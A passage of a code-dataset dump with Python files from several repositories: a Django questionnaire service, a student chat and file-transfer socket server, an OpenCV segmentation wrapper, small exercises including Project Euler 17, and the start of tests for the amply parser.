vowuser_info['schema']\n\n def vow_createquesans(self,request,qans_obj,project_id):\n # classify_id\n proposal_code= request.GET.get('proposer_code',None)\n q_type= request.GET.get('q_type',None)\n if (proposal_code == None) or (q_type == None):\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.INVALID_REQUEST_ID)\n error_obj.set_description(ErrorMessage.INVALID_REQUEST_ID)\n return error_obj\n\n proposal_id=self.get_proposal_id(project_id,proposal_code)\n # QuestionClassification\n classify_obj=QuestionClassification.objects.using(self.schema).filter(classify_id=proposal_id,classify_type=DocUtil.proposer,status=ActiveStatus.Active,question_type=q_type)\n\n if len(classify_obj)==0:\n q_classification=QuestionClassification.objects.using(self.schema).create(classify_id=proposal_id,classify_type=DocUtil.proposer,question_type=q_type)\n\n classify_id =q_classification.id\n else:\n classify_id=classify_obj[0].id\n\n input_type = get_question_input_type()\n arr ,file_key= [],[]\n for ans_obj in qans_obj:\n if ans_obj.get_answer() is not None:\n option_type=ans_obj.get_option_type()\n if option_type in [input_type.CHECK_BOX,input_type.DROPDOWN,input_type.RADIO_BUTTON]:\n option_id = int(ans_obj.get_answer())\n else:\n option_id=None\n\n # file\n if input_type.FILE ==option_type:\n question_id=ans_obj.get_question_id()\n qa_obj=QuestionAnswers.objects.using(self.schema).create(question_id=question_id,\n question_type=q_type,\n answer=ans_obj.get_answer(),\n option_type=option_type,\n option_id=option_id,\n ref_type=AnswerRefType.supplier,\n classify_id=classify_id,\n created_by=self.emp_id,\n is_user=self.is_user)\n k=\"file_\"+str(question_id)\n file_key_data={\"file_key\":k,\"answer_id\":qa_obj.id}\n file_key.append(file_key_data)\n continue\n else:\n ans = QuestionAnswers(question_id=ans_obj.get_question_id(),\n question_type=q_type,\n answer=ans_obj.get_answer(),\n option_type= option_type,\n option_id=option_id,\n ref_type=AnswerRefType.supplier,\n # ref_id=ans_obj.get_ref_id(),\n classify_id=classify_id,\n created_by=self.emp_id,is_user=self.is_user)\n arr.append(ans)\n\n if len(file_key)>0:\n self.questionnaire_file_upload(file_key,request)\n\n QuestionAnswers.objects.using(self.schema).bulk_create(arr)\n\n success_obj = NWisefinSuccess()\n success_obj.set_status(\"Success\")\n success_obj.set_message(\"Created Successfully\")\n return success_obj\n\n def questionnaire_file_upload(self,arr,request):\n attach_type=DocUtil.Questionnaire\n doc_service = VowDocumentsService(request)\n common_service = VowCommonService(request)\n docmodule_obj = DocModule()\n for i in arr:\n file_key=i['file_key']\n answer_id=i['answer_id']\n params = {\"module\": docmodule_obj.CMS, \"ref_id\": answer_id, \"ref_type\": DocUtil.Questionnaire}\n\n try:\n if not request.FILES[file_key] is None:\n resp_obj = doc_service.vow_document_upload_key(request, params, file_key)\n document_json = json.loads(resp_obj.get())['data']\n type = -1\n common_service.updateprojectattachement(document_json, answer_id, attach_type, type)\n except:\n pass\n return\n\n\n\n\n def prop_createquesans(self, request, ans_obj, proposal_id, q_type):\n api_serv = cms_api_service.CmsCommonService(request)\n pro_id = api_serv.get_project(proposal_id)\n ab=pro_id[0].project_id\n if q_type == None:\n questype = api_serv.get_proquesmap(ab)\n else:\n questype = [q_type]\n data = api_serv.vow_get_ques(questype)\n arr = []\n for i in data:\n ques_id = i.id\n arr.append(ques_id)\n\n for t in questype :\n classify_obj = QuestionClassification.objects.using(self.schema).filter(classify_id=proposal_id,classify_type=DocUtil.proposer,status=ActiveStatus.Active,question_type=t)\n if len(classify_obj) == 0:\n q_classification = QuestionClassification.objects.using(self.schema).create(classify_id=proposal_id, classify_type=DocUtil.proposer, question_type=t)\n classify_id = q_classification.id\n else:\n classify_id = classify_obj[0].id\n\n q_arr = []\n answer = ans_obj['answer']\n # option_type = ans_obj[0].get_option_type(),\n # option_id = ans_obj[0].get_option_id(),\n ref_id = ans_obj['ref_id']\n for j in arr:\n ans = QuestionAnswers(question_id=j,\n question_type=q_type,\n answer=answer,\n option_type=None,\n option_id=None,\n ref_type=AnswerRefType.supplier,\n ref_id=ref_id,\n classify_id=classify_id,\n created_by=self.emp_id, is_user=self.is_user)\n q_arr.append(ans)\n\n QuestionAnswers.objects.using(self.schema).bulk_create(q_arr)\n\n success_obj = NWisefinSuccess()\n success_obj.set_status(\"Success\")\n success_obj.set_message(\"Created Successfully\")\n return success_obj\n\n def vow_fetch_ans_list(self,request,question_type):\n condition = Q(status=ActiveStatus.Active) & Q(question_type=question_type)\n ans = QuestionAnswers.objects.using(self.schema).filter(condition).order_by('-created_date')\n ans_ids = [an.question_id for an in ans]\n input_type = get_question_input_type()\n doc_list = CMSDocuments.objects.using(self.schema).filter(rel_id__in=ans_ids, rel_type=DocUtil.Questionnaire)\n question_arr = []\n ans_list_data = NWisefinList()\n api_serv = cms_api_service.CmsCommonService(request)\n for i in ans:\n ans_data = Quesansresponse()\n ans_data.set_id(i.id)\n if i.question_id != None:\n ans_data.set_question_id(api_serv.fetch_Question(i.question_id))\n ans_data.set_answer(i.answer)\n ans_data.set_option_type(i.option_type)\n if i.option_type == input_type.FILE:\n file = self.get_file_data_in_arr(i.id, doc_list)\n ans_data.set_file(file)\n ans_data.set_classify_id(i.classify_id)\n ans_data.set_option_id(i.option_id)\n ans_data.set_ref_type(i.ref_type)\n ans_data.set_ref_id(i.ref_id)\n # ans_data.set_is_user(i.is_user)\n question_arr.append(ans_data)\n if i.question_type != None:\n quey_type = api_serv.fetch_Questype(i.question_type)\n ans_list_data.append({\"type_id\": quey_type, \"question\": question_arr})\n\n return ans_list_data\n\n def get_file_data_in_arr(self, rel_id, arr):\n list_data = []\n for i in arr:\n if rel_id == i.rel_id:\n file = {\"id\":i.id, \"name\":i.file_name}\n list_data.append(file)\n return list_data\n\n def vow_createquesansmap(self,ans_obj):\n try:\n ans = CMSQuestionAnswer.objects.using(self.schema).create(\n answer_id=ans_obj.get_answer_id(),\n type_id = ans_obj.get_type_id(),\n subtype_id = ans_obj.get_subtype_id(),\n reftype_id = ans_obj.get_reftype_id(),\n ref_id =ans_obj.get_ref_id(),\n is_user=self.is_user,\n created_by=self.emp_id,\n created_date=now())\n\n\n ans_data = Quesansmapresponse()\n ans_data.set_id(ans.id)\n ans_data.set_answer_id(ans.answer_id)\n ans_data.set_type_id(ans.type_id)\n ans_data.set_subtype_id(ans.subtype_id)\n ans_data.set_reftype_id(ans.reftype_id)\n ans_data.set_ref_id(ans.ref_id)\n return ans_data\n\n except Exception as ex:\n traceback.print_exc()\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.INVALID_REQUEST_ID)\n error_obj.set_description(str(ex))\n return error_obj\n\n def vow_createansmap(self,ans_obj,ref_id,ref_type):\n arr=[]\n for ans_pro in ans_obj:\n ans = AnswerMapping(\n answer_id=ans_pro.get_answer_id(),\n ref_type = ref_type,\n ref_id = ref_id,\n comments = ans_pro.get_comments(),\n score = ans_pro.get_score(),\n # is_user=self.is_user,\n created_by=self.emp_id,\n created_date=now())\n arr.append(ans)\n AnswerMapping.objects.using(self.schema).bulk_create(arr)\n success_obj = NWisefinSuccess()\n success_obj.set_status(\"Success\")\n success_obj.set_message(\"Created Successfully\")\n return success_obj\n\n def vow_quesclassify(self,ans_obj):\n try:\n ans = QuestionClassification.objects.using(self.schema).create(\n classify_id=ans_obj.get_classify_id(),\n question_type = ans_obj.get_question_type(),\n classify_type = ans_obj.get_classify_type(),\n is_user=self.is_user,\n created_by=self.emp_id)\n\n ans_data = Quesclassifyresponse()\n ans_data.set_id(ans.id)\n ans_data.set_classify_id(ans.classify_id)\n ans_data.set_classify_type(ans.classify_type)\n ans_data.set_question_type(ans.question_type)\n return ans_data\n\n except Exception as ex:\n traceback.print_exc()\n error_obj = NWisefinError()\n error_obj.set_code(ErrorMessage.INVALID_REQUEST_ID)\n error_obj.set_description(str(ex))\n return error_obj\n\n def get_proposal_id(self,project_id,proposal_code):\n proposal_id=None\n cond=Q(project_id=project_id)&Q(proposer_code=proposal_code) &~Q(project__approval_status=ApprovalStatus.DRAFT)&Q(status=ActiveStatus.Active,project__status=ActiveStatus.Active)\n\n obj=ProposedContract.objects.using(self.schema).filter(cond)\n if len(obj)>0:\n proposal_id = obj[0].id\n\n return proposal_id\n\n def vow_projectquestion(self, request,pro_id):\n proposal_code= request.GET.get('proposer_code',None)\n proposal_id = self.get_proposal_id(pro_id,proposal_code)\n\n qclf_obj = QuestionClassification.objects.filter(classify_id=proposal_id,\n classify_type=CommentsRefTypeUtil.proposal)\n\n api_serv = cms_api_service.CmsCommonService(request)\n questype = api_serv.get_proquesmap(pro_id)\n q_type = api_serv.vow_get_questype(questype)\n qheader_type = api_serv.vow_get_quesheader_id(questype)\n data = api_serv.vow_get_ques(questype)\n q_data , qid_arr , subq_data,subq_id_arr,subq_refid=[],[],[],[],[]\n for q in data:\n if q.ref_id == None:\n q_data.append(q)\n qid_arr.append(q.id)\n else:\n subq_data.append(q)\n subq_id_arr.append(q.id)\n subq_refid.append(q.ref_id)\n\n qid_arr = list(set(qid_arr))\n subq_id_arr = list(set(subq_id_arr))\n\n # suboption\n arr = qid_arr+subq_id_arr\n sub_option_data=api_serv.vow_question_suboption(arr)\n\n ans_resp = QuestionAnswers.objects.using(self.schema).filter(question_id__in=qid_arr, classify__classify_type=DocUtil.proposer, classify__classify_id=proposal_id)\n\n subq_ans_resp =QuestionAnswers.objects.using(self.schema).filter(question_id__in=subq_id_arr, classify__classify_type=DocUtil.proposer, classify__classify_id=proposal_id)\n\n if len(ans_resp)==0:\n is_answer=False\n answerid_arr=[]\n else:\n is_answer=True\n answer_id=[i.id for i in ans_resp]\n sub_answer_id=[i.id for i in subq_ans_resp]\n answerid_arr=answer_id+sub_answer_id\n\n file_data=VowCommonService(request).vow_multi_file(answerid_arr,DocUtil.Questionnaire)\n\n resp_list = NWisefinList()\n for j in q_type:\n # QUESTIONARY STATUS\n c_status= [m.approval_status for m in qclf_obj if m.question_type == j.id]\n if len(c_status)>0:\n status=c_status[0]\n else:\n status=None\n\n type = {\"id\": j.id, \"name\": j.name,\"status\":status}\n header_obj = self.get_questionheader_info(j.id, qheader_type)\n q_arr=[]\n for i in q_data:\n if i.type_id == j.id:\n data_resp = Questionansmapresponse()\n data_resp.set_id(i.id)\n data_resp.set_text(i.text)\n data_resp.set_input_type(i.input_type)\n data_resp.set_order(i.order)\n data_resp.set_sub_option(i.id,sub_option_data)\n data_resp.ans = self.get_answer(i.id, ans_resp,file_data,i.input_type)\n data_resp.sub_question=[]\n if i.id in subq_refid:\n data_resp.sub_question = self.get_sub_question_resp(i.id,subq_data,subq_ans_resp,sub_option_data,file_data)\n q_arr.append(data_resp)\n d = {\"type\": type, \"questions\": q_arr, \"header\": header_obj,\"is_answer\":is_answer}\n resp_list.append(d)\n return resp_list\n\n def get_sub_question_resp(self,q_id,subq_data,subq_ans_resp,sub_option_data,file_data):\n resp_list = []\n for i in subq_data:\n if i.ref_id == q_id:\n data_resp = Questionansmapresponse()\n data_resp.set_id(i.id)\n data_resp.set_text(i.text)\n data_resp.set_input_type(i.input_type)\n data_resp.set_order(i.order)\n data_resp.set_sub_option(i.id, sub_option_data)\n data_resp.ans = self.get_answer(i.id, subq_ans_resp,file_data,i.input_type)\n resp_list.append(data_resp)\n return resp_list\n\n def get_questionheader_info(self, type_id, header_arr):\n arr = []\n for i in header_arr:\n if i.type_id == type_id:\n d = {\"name\": i.name, \"order\": i.order}\n arr.append(d)\n return arr\n\n def get_answer(self, q_id, ans_obj,file_data,input_type):\n # ans_arr = []\n d=None\n for i in ans_obj:\n if i.question_id == q_id:\n answer = i.answer\n if i.option_type in [3, 4] and (i.answer is not None):\n answer = int(i.answer)\n\n d = {\"id\": i.id, \"answer\": answer, \"option_type\": i.option_type}\n\n if input_type == get_question_input_type().FILE:\n file_arr=[{\"id\":f.id,\"file_name\":f.file_name} for f in file_data if (f.rel_type==DocUtil.Questionnaire and f.rel_id ==i.id) ]\n d['file'] = file_arr\n\n return d\n","repo_name":"Dhivyadharshinin/crm-test","sub_path":"wisefin/cmsservice/service/quesansservice.py","file_name":"quesansservice.py","file_ext":"py","file_size_in_byte":48908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13958115972","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 15 11:56:28 2019\n\n@author: liuhaowen\n\"\"\"\n\nimport socket\nimport tkinter\nimport time\nimport threading\nimport queue\nimport json # json.dumps(some)打包 json.loads(some)解包\nimport sys\nimport shutil\nimport os\nimport os.path\nimport requests\n\nque = queue.Queue() # 用于存放客户端发送的信息的队列\nusers = [] # 用于存放在线用户的信息 [conn, user, addr]\nlock = threading.Lock() # 创建锁, 防止多个线程写入数据的顺序打乱\nfileall = os.getcwd()\nsrpth = fileall + '/resources'\npth1 = fileall + '/server'\npth2 = fileall + '/server/resources'\n# 创建文件传输文件夹\nif not os.path.exists(pth1):\n os.mkdir(pth1)\nif not os.path.exists(pth2):\n os.mkdir(pth2)\n if os.path.exists(srpth):\n for root, dirs, files in os.walk(srpth):\n for file in files:\n src_file = os.path.join(root, file)\n shutil.copy(src_file, pth2)\n \nfileall = pth1\n\n################################################################\n\nIP = ''\nPORT = ''\n# 登陆窗口\nroot1 = tkinter.Tk()\nroot1.title('Server')\nroot1['height'] = 110\nroot1['width'] = 270\nroot1.resizable(0, 0) # 限制窗口大小\n\nIP1 = tkinter.StringVar()\nIP1.set('127.0.0.1:50007') # 默认显示的ip和端口\nUser = tkinter.StringVar()\nUser.set('')\n\n# 服务器标签\nlabelIP = tkinter.Label(root1, text='Server address')\nlabelIP.place(x=20, y=10, width=100, height=40)\n\nentryIP = tkinter.Entry(root1, width=80, textvariable=IP1)\nentryIP.place(x=120, y=10, width=130, height=40)\n\n\n# 登录按钮\ndef login(*args):\n global IP, PORT\n IP, PORT = entryIP.get().split(':') # 获取IP和端口号\n PORT = int(PORT) # 端口号需要为int类型\n if not IP:\n tkinter.messagebox.showerror('Name type error', message='IP or PORT Empty!')\n #else:\n #root1.destroy() # 关闭窗口\n #tkinter.messagebox.showinfo(title='Message',message='Server start!')\n\n\nroot1.bind('', login) # 回车绑定登录功能\nbut = tkinter.Button(root1, text='Set Server', command=login)\nbut.place(x=100, y=70, width=80, height=30)\n\nroot1.mainloop()\n\n################################################################\n\n# 将在线用户存入online列表并返回\ndef onlines():\n online = []\n for i in range(len(users)):\n online.append(users[i][1])\n return online\n\n\nclass ChatServer(threading.Thread):\n global users, que, lock\n\n def __init__(self, port):\n threading.Thread.__init__(self)\n self.ADDR = ('', port)\n os.chdir(sys.path[0])\n self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n\n # 判断断开用户在users中是第几位并移出列表, 刷新客户端的在线用户显示\n def delUsers(self, conn, addr):\n a = 0\n for i in users:\n if i[0] == conn:\n users.pop(a)\n try:\n i[0].close()\n except:\n pass\n print(' Remaining online users: ', end='') # 打印剩余在线用户(conn)\n d = onlines()\n self.recv(d, addr)\n print(d)\n break\n a += 1\n \n # 用于接收所有客户端发送信息的函数\n def tcp_connect(self, conn, addr):\n # 连接后将用户信息添加到users列表\n user = conn.recv(1024) # 接收用户名\n user = user.decode()\n\n for i in range(len(users)):\n if user == users[i][1]:\n self.delUsers(users[i][0], users[i][2])\n\n if user == 'no':\n user = addr[0] + ':' + str(addr[1])\n users.append((conn, user, addr))\n print(' New connection:', addr, ':', user, end='') # 打印用户名\n d = onlines() # 有新连接则刷新客户端的在线用户显示\n self.recv(d, addr)\n try:\n while True:\n data = conn.recv(1024)\n data = data.decode()\n self.recv(data, addr) # 保存信息到队列\n conn.close()\n except:\n print(user + ' Connection lose')\n self.delUsers(conn, addr) # 将断开用户移出users\n conn.close()\n\n # 将接收到的信息(ip,端口以及发送的信息)存入que队列\n def recv(self, data, addr):\n lock.acquire()\n try:\n que.put((addr, data))\n finally:\n lock.release()\n\n # 将队列que中的消息发送给所有连接到的用户\n def sendData(self):\n while True:\n if not que.empty():\n data = ''\n reply_text = ''\n message = que.get() # 取出队列第一个元素\n if isinstance(message[1], str): # 如果data是str则返回Ture\n for i in range(len(users)):\n # user[i][1]是用户名, users[i][2]是addr, 将message[0]改为用户名\n try:\n for j in range(len(users)):\n if message[0] == users[j][2]:\n print(' this: message is from user[{}]'.format(j))\n data = ' ' + users[j][1] + ':' + message[1]\n break \n users[i][0].send(data.encode())\n except:\n pass\n # data = data.split(':;')[0]\n if isinstance(message[1], list): # 同上\n # 如果是list则打包后直接发送\n data = json.dumps(message[1])\n for i in range(len(users)):\n try:\n users[i][0].send(data.encode())\n except:\n pass\n\n def run(self):\n self.s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\n self.s.bind(self.ADDR)\n self.s.listen(5)\n print('Chat server starts running...')\n q = threading.Thread(target=self.sendData)\n q.start()\n while True:\n conn, addr = self.s.accept()\n t = threading.Thread(target=self.tcp_connect, args=(conn, addr))\n t.start()\n self.s.close()\n\n################################################################\n\n\nclass FileServer(threading.Thread):\n def __init__(self, port):\n threading.Thread.__init__(self)\n # self.setDaemon(True)\n self.ADDR = ('', port)\n # self.PORT = port\n self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n os.chdir(fileall) \n self.first = r'./resources'\n os.chdir(self.first) # 把first设为当前工作路径\n # self.conn = None\n\n def tcp_connect(self, conn, addr):\n print(' Connected by: ', addr)\n \n while True:\n data = conn.recv(1024)\n data = data.decode()\n if data == 'quit':\n print('Disconnected from {0}'.format(addr))\n break\n order = data.split(' ')[0] # 获取动作\n self.recv_func(order, data, conn)\n \n conn.close()\n\n # 传输当前目录列表\n def sendList(self, conn):\n listdir = os.listdir(os.getcwd())\n listdir = json.dumps(listdir)\n conn.sendall(listdir.encode())\n\n # 发送文件函数\n def sendFile(self, message, conn):\n name = message.split()[1] # 获取第二个参数(文件名)\n fileName = r'./' + name\n with open(fileName, 'rb') as f: \n while True:\n a = f.read(1024)\n if not a:\n break\n conn.send(a)\n time.sleep(0.2) # 延时确保文件发送完整\n conn.send('EOF'.encode())\n\n # 保存上传的文件到当前工作目录\n def recvFile(self, message, conn):\n name = message.split()[1] # 获取文件名\n fileName = r'./' + name\n with open(fileName, 'wb') as f:\n while True:\n data = conn.recv(1024)\n if data == 'EOF'.encode():\n break\n f.write(data)\n\n # 切换工作目录\n def cd(self, message, conn):\n message = message.split()[1] # 截取目录名\n # 如果是新连接或者下载上传文件后的发送则 不切换 只将当前工作目录发送过去\n if message != 'same':\n f = r'./' + message\n os.chdir(f)\n # path = ''\n path = os.getcwd().split('\\\\') # 当前工作目录\n for i in range(len(path)):\n if path[i] == 'resources':\n break\n pat = ''\n for j in range(i, len(path)):\n pat = pat + path[j] + ' '\n pat = '\\\\'.join(pat.split())\n # 如果切换目录超出范围则退回切换前目录\n if 'resources' not in path:\n os.chdir(fileall) \n f = r'./resources'\n os.chdir(f)\n pat = 'resources'\n conn.send(pat.encode())\n\n # 判断输入的命令并执行对应的函数\n def recv_func(self, order, message, conn):\n if order == 'get':\n return self.sendFile(message, conn)\n elif order == 'put':\n return self.recvFile(message, conn)\n elif order == 'dir':\n return self.sendList(conn)\n elif order == 'cd':\n return self.cd(message, conn)\n\n def run(self):\n print('File server starts running...')\n self.s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\n self.s.bind(self.ADDR)\n self.s.listen(3)\n while True:\n conn, addr = self.s.accept()\n t = threading.Thread(target=self.tcp_connect, args=(conn, addr))\n t.start()\n self.s.close()\n\n#############################################################################\n\nif __name__ == '__main__':\n cserver = ChatServer(PORT)\n fserver = FileServer(PORT + 1)\n cserver.start()\n fserver.start()\n while True:\n time.sleep(1)\n if not cserver.isAlive():\n print(\"Chat connection lost...\")\n sys.exit(0)\n if not fserver.isAlive():\n print(\"File connection lost...\")\n sys.exit(0)\n","repo_name":"MekAkUActOR/Ugrad_Projects","sub_path":"Computer Communication and Network(A)/chat_now/Server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10852,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"16961810474","text":"import cv2 as cv\nimport numpy as np\nfrom scipy import ndimage\n\nclass BRS:\n def __init__(self, prototxt_path='./model/deploy.prototxt', \n caffeModel_path='./model/BRS_DenseNet.caffemodel', \n use_gpu=True) -> None:\n \n self.data_mean = np.array([104.00699, 116.66877, 122.67892, 166.90557, 147.47697])\n self.net = cv.dnn.readNetFromCaffe(prototxt_path, caffeModel_path)\n \n if use_gpu and cv.cuda.getCudaEnabledDeviceCount() > 0:\n self.net.setPreferableBackend(cv.dnn.DNN_BACKEND_CUDA)\n self.net.setPreferableTarget(cv.dnn.DNN_TARGET_CUDA)\n \n def __pre_process(self, image, fg_interactive_map, bg_interactive_map):\n \n def bwdist(binary_mask):\n distance_map = ndimage.morphology.distance_transform_edt(1 - binary_mask)\n return distance_map \n\n def dist_transform(interactive_map):\n distance_map = bwdist(interactive_map)\n distance_map[distance_map > 255] = 255\n return distance_map\n \n self.img_size = image.shape[:2] # (h, w)\n\n # 网络输入大小为32的倍数即可,训练网络的时候设置的大小为480x480\n long_len = max(self.img_size)\n net_size = [480, 480]\n x_wholeLen = (self.img_size[1]*net_size[1]/long_len) # w\n y_wholeLen = (self.img_size[0]*net_size[0]/long_len) # h\n x_wholeLen = int(32*round(x_wholeLen/32))\n y_wholeLen = int(32*round(y_wholeLen/32))\n new_image = cv.resize(image, (x_wholeLen, y_wholeLen), interpolation=cv.INTER_CUBIC)\n new_image = new_image - [123.68, 116.779, 103.939] # [103.939, 116.779, 123.68]\n new_image = new_image*0.017\n\n new_fg_interactive_map = cv.resize(fg_interactive_map, (x_wholeLen, y_wholeLen), interpolation=cv.INTER_NEAREST)\n new_bg_interactive_map = cv.resize(bg_interactive_map , (x_wholeLen, y_wholeLen), interpolation=cv.INTER_NEAREST)\n fg_distance_map = 1 - dist_transform(new_fg_interactive_map) / 255.0\n bg_distance_map = 1 - dist_transform(new_bg_interactive_map) / 255.0\n\n distance_maps = np.stack([fg_distance_map, bg_distance_map], axis=-1) # (h, w) * 2 -> (h, w, 2) \n \n image = new_image.transpose((2, 0, 1))[np.newaxis, :, :, :]\n distance_maps = distance_maps.transpose((2, 0, 1))[np.newaxis, :, :, :]\n\n return image, distance_maps\n\n def __post_process(self, pred):\n out = cv.resize(pred.squeeze(), self.img_size[::-1]) # (1, 1, h, w)\n out[out > 0.5] = 1\n out[out <= 0.5] = 0\n return out\n\n def predict(self, image, fg_interactive_map, bg_interactive_map):\n image, distance_maps = self.__pre_process(image, fg_interactive_map, bg_interactive_map)\n\n self.net.setInput(image, \"data\")\n self.net.setInput(distance_maps, \"iact\")\n\n out = self.net.forward()\n \n # print(out.shape)\n out = self.__post_process(out)\n\n return out\n\n# prototxt_path = './model/deploy.prototxt'\n# caffeModel_path = './model/BRS_DenseNet.caffemodel'\n\n# # net = cv.dnn.readNetFromCaffe(prototxt_path, caffeModel_path)\n# # net.setInput(np.random.rand(1, 3, 320, 320), \"data\")\n# # net.setInput(np.random.rand(1, 2, 320, 320), \"iact\")\n# # out = net.forward()\n# # print(out.shape)\n\n# image = np.random.rand(300, 500, 3)\n# fg_dist_map = np.random.rand(300, 500)\n# bg_dist_map = np.random.rand(300, 500)\n\n# net = Net(prototxt_path, caffeModel_path, use_gpu=True, return_spend_time=True)\n# out = net.predict(image, fg_dist_map, bg_dist_map)\n# print(out.shape)","repo_name":"BingqiangZhou/IntSeg_InsSeg_CodeCollection","sub_path":"InteractiveImageSegmentation/BRS/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"75"} +{"seq_id":"73045464243","text":"'''PoFile.py\nĐọc nội dung tập tin Po\nDành riêng cho trò chơi Avorion'''\n\nfrom .TypeFile import TypeFile\n\nclass PoFile(TypeFile):\n\n def __init__(self, fileName):\n super().__init__(fileName)\n\n #Đọc nội dung tệp theo từng dòng\n def read_all(self):\n result = []\n with open(self.get_file_name(), 'r', encoding = 'utf-8') as readFile:\n for row in readFile:\n if len(row) > 1:\n result.append(row)\n return result","repo_name":"cackehoa/Ho-tro-chuyen-ngu-tro-choi","sub_path":"SupTransEnToVI/Model/File/PoFile.py","file_name":"PoFile.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2824346003","text":"import math\nimport sys\n\"\"\"\nKaden Ramirez\nThis program combines all of the previous\njava programs into a gaint python frankenprogram\n\"\"\"\nprint(\" /\\\\\\n /__\\\\\\n /\\\\ /\\\\\\n /__\\\\/__\\\\\")\n\ntry:\n\ta = int(sys.argv[1])\n\tb = int(sys.argv[2])\n\tc = int(sys.argv[3])\n\n\tr1 = (-b + math.sqrt(b * b - 4*a*c))/ (2*a)\n\tr2 = (-b - math.sqrt(b * b - 4*a*c))/ (2*a)\n\n\tprint(\"\\nroot 1 is: \" + str(r1) + \"\\nroot 2 is: \" + str(r2))\nexcept:\n\tprint(\"\\nYou must enter 3 real integers (not 0 for a).\")\n\nDAYS_TO_SECONDS = 24*60*60\nSECONDS_TO_DAYS = 86400\nSECONDS_TO_HOURS = 3600\nSECONDS_TO_MINUTES = 60\n\ndaysIn = int(input(\"\\nEnter a number of days: \"))\n\nsecondsOut = daysIn * DAYS_TO_SECONDS\n\nprint(\"The number of seconds in that many days are: \" + str(secondsOut))\n\nsecondsIn = int(input(\"\\nEnter a number of seconds: \"))\n\ndaysOut = secondsIn // SECONDS_TO_DAYS\nhoursOut = secondsIn % SECONDS_TO_DAYS // SECONDS_TO_HOURS\nminutesOut = secondsIn % SECONDS_TO_DAYS % SECONDS_TO_HOURS // SECONDS_TO_MINUTES\nsecondsRem = secondsIn % SECONDS_TO_DAYS % SECONDS_TO_HOURS % SECONDS_TO_MINUTES // 1\n\nprint(\"There are \" + str(daysOut) + \" days, \" + str(hoursOut) + \" hours, \" + str(minutesOut) + \" minutes, and a remainder of \" + str(secondsRem) + \" seconds in that many days/day\")\n\n","repo_name":"KadenRamirez/ICS2019_2020","sub_path":"ICS_03_Ramirezk21/Program.py","file_name":"Program.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39754893245","text":"\"\"\"\nIf the numbers 1 to 5 are written out in words:\none, two, three, four, five,\n\nthen there are 3 + 3 + 5 + 4 + 4 = 19\nletters used in total.\n\nIf all the numbers from 1 to 1000 (one thousand)\ninclusive were written out in words,\nhow many letters would be used?\n\nNOTE: Do not count spaces or hyphens.\nFor example, 342 (three hundred and forty-two)\ncontains 23 letters and 115 (one hundred and fifteen)\ncontains 20 letters.\nThe use of \"and\" when writing out numbers\nis in compliance with British usage.\n\"\"\"\n\nsingles = [\"nul\", \"one\", \"two\", \"three\", \"four\",\\\n \"five\", \"six\", \"seven\", \"eight\", \"nine\", \"ten\"]\nwhole_tens = [\"nul\",\"ten\", \"twenty\", \"thirty\", \"forty\", \"fifty\",\\\n \"sixty\", \"seventy\", \"eighty\", \"ninety\"]\nteens = [\"ten\", \"eleven\", \"twelve\", \"thirteen\", \"fourteen\",\\\n \"fifteen\", \"sixteen\", \"seventeen\", \"eighteen\", \"nineteen\"]\n\n\ndef count_letters(n):\n word = \"\"\n single = int(str(n)[-1])\n tens = int(str(n//10)[-1])\n hundreds = int(str(n//100)[-1])\n thousands = int(str(n//1000)[-1])\n\n if thousands > 0:\n word += singles[thousands]\n word += \"thousand\"\n if hundreds > 0:\n word += singles[hundreds]\n word += \"hundred\"\n if tens > 0 or single > 0:\n word += \"and\"\n if tens >= 2:\n word += whole_tens[tens]\n if single > 0:\n word += singles[single]\n elif tens == 1:\n word += teens[single]\n else:\n if single > 0:\n word += singles[single]\n\n return word\n\n\ntotal_letters = 0 \nfor i in range(1,1001):\n total_letters += len(count_letters(i))\nprint(total_letters)\n","repo_name":"hansinla/Euler","sub_path":"Euler problem 17.py","file_name":"Euler problem 17.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26998272954","text":"\"\"\"Gets CPU usage information\"\"\"\nimport psutil\n\n\nclass Addon:\n \"\"\"Addon module\"\"\"\n\n def __init__(self, lnxlink):\n \"\"\"Setup addon\"\"\"\n self.name = \"CPU Usage\"\n self.sensor_type = \"sensor\"\n self.icon = \"mdi:speedometer\"\n self.unit = \"%\"\n self.state_class = \"measurement\"\n\n def get_old_info(self):\n \"\"\"Gather information from the system\"\"\"\n return psutil.cpu_percent()\n","repo_name":"ususdei/lnxlink","sub_path":"lnxlink/modules/cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"74853381682","text":"from pulp.amply import Amply, AmplyError\nfrom io import StringIO\n\nfrom nose.tools import assert_raises\n\ndef test_data():\n result = Amply(\"param T := 4;\")['T']\n assert result == 4\n result = Amply(\"param T := -4;\")['T']\n assert result == -4\n result = Amply(\"param T := 0.04;\")['T']\n assert result == 0.04\n result = Amply(\"param T := -0.04;\")['T']\n assert result == -0.04\n\ndef test_set():\n result = Amply(\"set month := Jan Feb Mar Apr;\")['month'] \n assert result == ['Jan', 'Feb', 'Mar', 'Apr']\n\n result = Amply(\"set month Jan Feb Mar Apr;\")['month'] \n assert result == ['Jan', 'Feb', 'Mar', 'Apr']\n assert [i for i in result] == ['Jan', 'Feb', 'Mar', 'Apr']\n assert result != []\n\n assert 'Jan' in result\n assert 'Foo' not in result\n assert len(result) == 4\n\ndef test_param():\n 